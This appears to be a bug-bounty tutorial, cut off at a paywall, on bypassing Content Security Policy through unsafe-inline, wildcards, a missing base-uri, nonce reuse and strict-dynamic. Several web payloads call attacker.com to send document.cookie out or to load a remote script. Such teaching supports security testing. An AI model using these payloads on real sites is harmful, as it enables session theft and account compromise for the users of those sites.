Advanced levelPremium

CSP bypass + CORS misconfig + XSS — a complete exploitation chain

How to chain CSP misconfiguration (unsafe-inline, wildcard sources, whitelisted JSONP endpoints), CORS with credentials and XSS for unrestricted data exfiltration.

Gorka El BochiMay 11, 202617 min

Quick answer

A well-implemented CSP makes XSS "informational" — the payload doesn't execute. But 'unsafe-inline', 'unsafe-eval', wildcards (*.cdn.com) and JSONP endpoints on whitelisted domains open holes. Chained with a misconfigured CORS (Access-Control-Allow-Origin: * + Allow-Credentials: true, or reflection of the Origin header), the attacker exfiltrates arbitrary data. The typical chain: XSS contained by CSP → CSP bypass via JSONP/wildcard → CORS misconfig to fetch credentials → exfil.


Anatomy of a CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' https://cdn.target.com https://*.googleapis.com;
  style-src 'self' 'unsafe-inline';
  img-src * data:;
  connect-src 'self' https://api.target.com;
  frame-ancestors 'none';
  base-uri 'self';
  report-uri /csp-report

The directives relevant to XSS:

DirectivePurposeBypass possible if
script-srcWhich scripts you can loadContains unsafe-inline, unsafe-eval, CDN wildcards, domains with JSONP
default-srcFallbackIf the app doesn't set script-src, it defaults here
object-src<object>, <embed>, <applet>If not 'none', legacy Flash attacks (rare in 2026)
base-uri<base href> injectionIf missing, the attacker sets <base> and redirects relative scripts
style-srcCSS sourcesunsafe-inline allows CSS exfil with expressions
connect-srcFetch/XHR/WebSocket destinationsIf it's * or has wildcards, exfil without restriction
frame-ancestorsWho can frame thisWithout it, clickjacking is possible

Bypass 1 — literal 'unsafe-inline'

css
Content-Security-Policy: script-src 'self' 'unsafe-inline'

The CSP is "present" but unsafe-inline nullifies it for inline scripts. Any classic XSS works without restrictions. It's still extremely common in legacy SaaS that migrated to CSP without refactoring inline handlers.

html
<img src=x onerror=fetch('https://attacker.com/c?='+document.cookie)>

Bypass 2 — 'unsafe-eval' enabled

'unsafe-eval' allows eval(), Function(), setTimeout(string). If the XSS lands in a sink where you can execute string-as-code, you don't need inline:

html
<script src="https://cdn-whitelisted.com/legit.js"></script>
<!-- Si legit.js hace eval(window.name) o similar, puedes inyectar payload via window.name -->

Combined with legacy Angular (ng-app) or React with dangerouslySetInnerHTML, template engines become eval sinks.


Bypass 3 — Wildcards in script-src

arduino
script-src 'self' https://*.cloudfront.net

CloudFront lets anyone host static JS. The attacker creates their own S3 bucket → a URL like https://attacker-bucket.s3.cloudfront.net/payload.js. The CSP allows it.

html
<script src="https://attacker.s3.cloudfront.net/p.js"></script>

Dangerous variants:

perl
script-src 'self' https://*.googleusercontent.com   # Cualquiera con cuenta Google hospeda
script-src 'self' https://*.amazonaws.com           # S3 público
script-src 'self' https://storage.googleapis.com    # GCS público
script-src 'self' https://raw.githubusercontent.com # GitHub raw files

All the "user-content under CDN" services break the CSP if they're whitelisted.


Bypass 4 — missing base-uri + relative scripts

If the app doesn't set base-uri 'self' but uses a relative <script src="./app.js">:

html
<!-- XSS injection point -->
<base href="https://attacker.com/">

<!-- Ahora cualquier <script src="./app.js"> en la página después de este punto -->
<!-- carga https://attacker.com/app.js -->

Subtle because the app keeps working if the attacker hosts a benign app.js + payload. The CSP doesn't detect it because base-uri doesn't cover it.


Bypass 5 — Nonce reuse or predictable nonce

arduino
script-src 'self' 'nonce-abc123'
html
<script nonce="abc123">window.config = {...}</script>

If the nonce is:

  • Reused across requests (cacheable / shared): the attacker captures a nonce and uses it in their payload.
  • Predictable (timestamps, counter, weak random): predicting future nonces.
  • Reflected in the HTML as an attribute of another element: if the attacker can inject into any DOM attribute near the nonce, they copy the value.

Example of a copy-nonce attack (limited HTML injection):

html
<img src=x onerror="
  const nonce = document.querySelector('script[nonce]').nonce;
  const s = document.createElement('script');
  s.setAttribute('nonce', nonce);
  s.src = 'https://attacker.com/p.js';
  document.head.appendChild(s);
">

onerror doesn't execute if the CSP is strict (blocks inline), but if the nonce is accessible via the .nonce property and the CSP allows via a wildcard CDN, it does.


Bypass 6 — strict-dynamic + injected script

'strict-dynamic' allows scripts loaded via API (appendChild) by already-authorized scripts to also execute. If the attacker manages to execute a single line inside an authorized script (via a gadget, DOM clobbering, prototype pollution), they can load arbitrary JS:

javascript
// Una vez ejecutando dentro de un script autorizado:
const s = document.createElement('script');
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);

strict-dynamic gives the authorized loader carte blanche.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Csp Bypass Arsenal

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy